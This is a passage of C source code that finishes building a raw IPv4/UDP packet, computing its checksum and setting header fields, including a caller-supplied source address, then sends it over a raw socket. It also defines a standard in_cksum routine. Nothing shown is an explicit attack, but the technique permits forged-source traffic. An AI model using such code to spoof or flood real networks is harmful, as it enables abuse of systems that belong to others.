            pseudo->saddr    = saddr;
            pseudo->daddr    = daddr;
            pseudo->useless     = 0;
            pseudo->protocol = IPPROTO_UDP;
            pseudo->length   = udp->uh_ulen;

            udp->uh_sum = in_cksum((u_short *)pseudo,sizeof(struct udphdr)+sizeof(struct pseudohdr)+datalen);

            ip->ihl      = 5;
            ip->version  = 4;
            ip->tos      = 0x10;
            ip->tot_len  = sizeof(packet);
            ip->frag_off = 0;
            ip->ttl      = 69;
            ip->protocol = IPPROTO_UDP;
            ip->check    = 0;
            ip->saddr    = saddr;
            ip->daddr    = daddr;
            nbytes = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&servaddr, sizeof(servaddr));

            close(sockfd);
            return(nbytes);
}
 

unsigned short in_cksum(unsigned short *ptr, int nbytes)
{
  register long    sum;
  u_short oddbyte;
  register u_short answer;

  sum = 0;
  while(nbytes > 1)
  {
    sum += *ptr++;
    nbytes -= 2;
  }

  if(nbytes == 1)
  {
    oddbyte = 0;
    *((u_char *) &oddbyte) = *(u_char *)ptr;
    sum += oddbyte;
  }
  sum  = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer);
}